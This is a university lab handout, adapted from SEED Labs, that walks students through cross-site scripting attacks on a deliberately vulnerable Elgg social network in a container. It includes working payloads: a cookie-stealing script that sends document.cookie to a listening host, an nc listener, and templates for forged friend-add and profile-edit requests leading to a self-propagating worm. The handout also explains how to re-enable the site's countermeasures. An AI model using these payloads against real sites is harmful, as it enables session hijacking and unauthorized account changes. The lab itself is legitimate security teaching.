Lab 06: Cross-Site Scripting (XSS) Attack Lab

Due Monday October 31st @ 11:59PM

XSS Attack Lab

Adapted from SEED Labs: A Hands-on Lab for Security Education.

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g., JavaScript) into a victim’s web browser. Using this malicious code, attackers can steal a victim’s credentials, such as session cookies. Access control policies (i.e., the same origin policy) employed by browsers to protect user credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg. Elgg is a very popular open-source social networking web application, and it has implemented a number of countermeasures to remedy XSS threats. To demonstrate how XSS attacks work, we have disabled these countermeasures in our installation of Elgg, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post arbitrary message, including JavaScript code, to user profiles.

In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg web app in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to their friend list.

This lab covers the following topics:

  • Cross-Site Scripting attack
  • XSS worm and self-propagation
  • Session cookies
  • HTTP GET and POST requests
  • JavaScript and Ajax
  • Content Security Policy (CSP)

Resources

Environment Setup

In this lab, we will use a variety of websites all running on the same container. Notably, the vulnerable Elgg site is accessible at http://www.xsslabelgg.com/.

WARNING: Do not visit these websites outside of the VM / when the local webserver is not running.

Container Setup and Commands

Please ensure that you have the class repo cloned locally. Once this is done, navigate to the 05_xss/ directory. For example:

$ cd ~
$ git clone https://github.com/reesep/csci476-code.git code # name the local clone 'code'
$ cd /home/seed/code/05_xss

We will make use of Docker and Compose to make working with containers easy.

# First, build the container
$ docker-compose build    # Build the container image

# Next, start/stop the container(s) as needed
$ docker-compose up -d    # Start the container (-d runs container in the background; i.e., detached)
$ docker-compose down     # Shut down the container

In general for our labs, we will create and start containers that will run in the background (i.e., use the -d flag when bringing your container up).

At times we may need to run commands on a container — docker makes it pretty easy to attach to a container running in the background and get a shell on that container. To run commands on a specific container, we first need to use the docker ps command to find out the ID of the container, and then we can use docker exec to start a shell on that container. (I told you this would be easy!)

$ docker ps -a   # Show all containers (default shows just running)
$ dockps         # Show active containers using custom formatting for docker ps
$ docksh <id>    # Connect to container with <id>

### Examples ###

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

# Attach to the container with an ID that starts with "96"
$ docksh 96
root@9652715c8e0a:/#

# NOTE: If a docker command requires a container ID, you do not need to type the entire ID string.
# Typing the first few characters will be sufficient so long as it can uniquely identify a container.

Docker/Compose Aliases. For convenience we provide a number of aliases for the commands above. Feel free to use them (or don’t).

### see docker aliases ###
$ grep docker ~/.bashrc

Troubleshooting. If you encounter problems when setting up the lab environment, please read the “Common Problems” section of the SEED Manual for Containers for potential solutions. If you still can’t get things figured out, please connect a member of the course staff.

DNS Configuration

We have set up several websites for this lab. They are all hosted within a single container with IP address 10.9.0.5. Your VM should already be configured to have these IP/hostname mappings in the /etc/hosts file:

10.9.0.5        www.xsslabelgg.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com

By using ifconfig we can verify our host’s IP address within the docker network:

[VM]$ ifconfig
#...snipped...

br-f2fb40f6b8ae: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
             ^^^^^^^^
#...snipped...

In this case, my host can be addressed from a container by accessing 10.9.0.1. (This should be the same for you, but you should verify.)

Elgg Web Application

In this lab we use an open-source web application called Elgg. Elgg is a web-based social-networking application. It is already set up in the provided container images.

We use two containers, one running the webserver (10.9.0.5), and another running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them within the docker-compose.yml file.

Elgg User Accounts

We have created several user accounts on the Elgg server; the username / password pairs are as follows:

  • admin / seedelgg
  • alice / seedalice
  • boby / seedboby
  • charlie / seedcharlie
  • samy / seedsamy

MySQL Database

Containers are usually meant to be disposable, so once they are destroyed, all the data inside the containers is lost. For this lab, we want to keep the data in the MySQL database (i.e., so that we do not lose our work when we shutdown our container). To achieve this, we have mounted the mysql_data folder on the host machine to the /var/lib/mysql folder inside the MySQL container.

The folder is created inside of 05_xss/ automatically once the MySQL container runs once.

This folder is where MySQL stores its database. Thus, even if the container is destroyed, data in the database will persist since it actually resides on the host. If you do want to start from a clean database, you can remove this folder:

$ sudo rm -rf mysql_data

Lab Tasks

This lab has been tested on the pre-built SEED VM (Ubuntu 20.04 VM).

Prep: Analyzing and Crafting HTTP Requests

In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg looks like, and to be able to send modified versions of acceptable HTTP requests, we need a tool that can help us capture, analyze, modify, and send HTTP requests. We can use Firefox's developers tools (F12, or CTRL + Shift + I) to analyze HTTP traffic and see how Elgg formats their HTTP requests. Before starting task 1, go to the "network" tab in developer tools and start clicking around on other people's profiles. You should see that the Dev tools window populated with HTTP traffic. Click on one entry and you can see HTTP requests along with their headers. You dont need to include a screenshot of this in your lab report. This is just to help prepare you for some tasks later on :-)

Task 1: Post a Malicious Message to Display an Alert Window

The objective of this task is to embed JavaScript code in your Elgg profile, such that when another user views your profile, the JavaScript code will be executed and an alert window will be displayed.

The following JavaScript code will display an alert window:

<script>alert('XSS');</script>

If you embed the above JavaScript code in your profile (e.g., in the brief description field), then any user who views your profile will see the alert window. In this case, the JavaScript code is short enough to be typed into the short description field.


This will suffice for Task 1, but If you want to run a more substantial piece of JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript code in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag. For example:

<script type="text/javascript"
    src="http://www.example.com/myscripts.js">
</script>

In this example, the page will fetch the JavaScript code from http://www.example.com, which can be any web server.

Task 2: Post a Malicious Message to Display Cookies

The objective of this task is to embed JavaScript code in your Elgg profile, such that when another user views your profile, the user’s cookies will be displayed in the alert window. This can be done by adding additional code to the JavaScript code from the previous task:

<script>alert(document.cookie);</script>

Task 3: Steal Cookies from the Victim’s Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to somewhere that the attacker can access the information. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker’s machine. The JavaScript given below sends the cookies to port 5555 of the attacker’s machine (with IP address 10.9.0.1), where the attacker has a TCP server listening on the same port.

<script>document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + '>');</script>

A commonly used program by attackers is netcat (or nc), which, if running with the -l option, becomes a TCP server that listens for a connection on the specified port. This server program prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the following command below to listen on port 5555:

$ nc -lknv 5555
  • The -l option is used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.
  • The -v option is used to have nc give more verbose output.
  • The -n option forces nc to not do any DNS or service lookups on any specified addresses, hostnames or ports.
  • The -k option indicates that, when a connection is completed, listen for another one.

For Fun!

While running netcat on the VM is interesting in its own right, we can also use other approaches to receive the information exfiltrated from the user’s browser. For example, we could use something like https://webhook.site/, which lets you, for instance, easily inspect any incoming HTTP request that is directed to a temporary URL they assign you.

Task 4: Becoming the Victim’s Friend

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy’s page. This worm does not self-propagate; in a later task we will make it self-propagating.

In this task, we need to write malicious JavaScript code that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what is sent to the server when a user adds a friend. (Any tool that helps with HTTP inspection is useful here.) By inspecting the contents of HTTP requests, we can identify all of the parameters in the request. Once we understand what the add-friend HTTP request look like, we can write JavaScript code to craft and send an identical HTTP request. We provide template code that aids in completing the task.

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;

    // This data is sent by the server (look at the page's source code!)
    // and must be included in subsequent requests.
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;           // (1) elgg CSRF countermeasure
    var token="&__elgg_token="+elgg.security.token.__elgg_token;  // (2) elgg CSRF countermeasure

    // Construct the HTTP request to add Samy as a friend.
    var sendurl=...;  //FILL IN

    // Create and send an Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

The above code should be placed in the “About Me” field of Samy’s profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attack code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on “Edit HTML”, which can be found at the top right of the “About Me” text field.

Task 4.1

Carry out the attack to add Samy as a friend to the victim. Describe your strategy and provide supporting code/details.

Task 4.2

If the Elgg application only provided the Editor mode for the “About Me” field (i.e., you cannot switch to the Text mode), can you still launch a successful attack?

Task 5: Modifying the Victim’s Profile

The objective of this task is to modify the victim’s profile when the victim visits Samy’s page. We will write an XSS worm to complete the task. This worm does not self-propagate; in a later task we will make it self-propagating.

Similar to the previous task, we need to write malicious JavaScript code that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies their profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user’s profile. (Again, any tool that helps with HTTP inspection is useful here.) Once we understand how the modify-profile HTTP POST request is formatted, we can write JavaScript code to send out an identical HTTP request. We provide template code that aids in completing the task.

<script type="text/javascript">
window.onload = function(){
    // JavaScript code to access user name, user guid, Time Stamp __elgg_ts and Security Token __elgg_token
    var name="&name="+elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    // Construct your url.
    var sendurl=...;     //FILL IN

    // Construct the content of your request.
    var content=...;     //FILL IN

    // Send the HTTP POST request
    var samyGuid=...;    //FILL IN
    if (elgg.session.user.guid!=samyGuid)       // (1)
    {
        // Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

Similar to Task 4, the above code should be placed in the “About Me” field of Samy’s profile page, and the Text mode should enabled before entering the above JavaScript code.

Task 5.1

Carry out the attack to modify the victim’s profile when the victim visits Samy’s page.

Hint! You need not send back data in the verbose way that data is sent in a typical “edit” request (i.e., using Content-Type: multipart/form-data, specifying a boundary, etc. ). It turns out you can also indicate Content-Type: application/x-www-form-urlencoded, as we do in the provided template above, and as a result you can send back the data as one query string. This is basically what we’ve done before where we have passed data in the form of name/value pairs that are separated by the ampersand (&), and names are separated from values by the equals symbol (=). The only difference now is that we send back the data as part of the body of the request. Even this is handled for you though — just make sure that the content variable contains the properly-formatted data that you want to send to the server as part of your “edit” request.

See this Stack Overflow post for a little more info: https://stackoverflow.com/a/4073451.

Task 5.2

Why do we need line (1) in the code above?

Remove this line, and repeat your attack. Report and explain your observation(s).

Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript code should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. Thus, the more people that view infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which not only modifies the victim’s profile and adds the user “Samy” as a friend, but also add a copy of the worm itself to the victim’s profile, so the victim is in essence turned into an attacker.

To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy itself to the victim’s profile.

For a walkthrough of this task: please watch this video from Reese.

Consider the following code: From a high level, this code does two things. First, it issues an HTTP request to update the victims profile to say "Samy is my hero" followed by worm code itself (line 17). This HTTP request allows the worm to propagate, because we are now injecting our propagating payload into new victim profiles. Second, it issues an HTTP request to add Samy as a friend. This is the same code as task 4.

Paste the worm code into the "about me" section of Samy's profile NOTE: Make sure you are updating the profile in "plaintext mode" (ie click on the "Edit HTML" button before pasting). If you use the visual editor, this attack will not work.

Log out of Samy's profile, and log in as Alice. Ensure your attack worked by seeing if Samy got added as a friend after visiting his profile. Then, log in as Boby and visit Alice's profile. You should see that Boby's profile is now infected. Remember to include screenshots for before/afterl

Elgg’s Countermeasures

This aside is only for informational purposes, and there is no specific task to do.

In reality Elgg does have two effective countermeasures in place to defend against XSS attacks. As noted earlier, we have disabled/commented out these countermeaures to make your attacks possible.

htmLawed

One countermeasure consists of a custom security plugin, “htmLawed”, which, on activation, validates user input and removes tags from the input. This specific plugin is registered to the function filter_tags() in the input.php file, which can be viewed on the elgg-10.9.0.5 container.

If we grep for the function in this file:

$ grep -A 3 'function filter_tags' /var/www/elgg/vendor/elgg/elgg/engine/lib/input.php

we can clearly see that the relevant validation code has been commented out.

function filter_tags($var) {
	// return elgg_trigger_plugin_hook('validate', 'input', null, $var);
	return $var;
}

To turn on this countermeasure, login to the application as admin, go to Account → administration (top right) → plugins (on the right panel), and then click on “security and spam” under the filter options at the top of the page. You should find the “HTMLawed” plugin here. Click “Activate” to enable the countermeasure.

htmlspecialchars

In addition to the “HTMLawed” security plugin, there is another built-in PHP method called “htmlspecialchars”, which is used to encode special characters included in user input; for example < is encoded to &lt, > to &gt, etc.

To turn on this countermeasure, navigate to the following directory, and locate and uncomment calls to htmlspecialchars() in each file in this directory. (The last time I checked, this function is called at various places in url.php, text.php, and dropdown.php.)

cd /var/www/elgg/vendor/elgg/elgg/views/default/output
grep -n 'htmlspecialchars' *
# --> go into each file and uncomment calls to htmlspecialchars()

Submission

Submit your assignment as a single PDF to the appropriate D2L dropbox



The lab report is to help me see that you did the lab and followed the instructions. For each task, you should include a screenshot to show you completed the task. If the task asks you to write down observations, you should also include those in your lab report. For the tasks that requires you to do some thinking and find ways to exploit a program, you should write a brief description about your approach and the steps you took to get your output. This is a lab report taken from a previous offering of this course. This is a good example of how you should format your lab report: https://www.cs.montana.edu/pearsall/classes/fall2022/476/labs/SampleLabReportFormat.pdf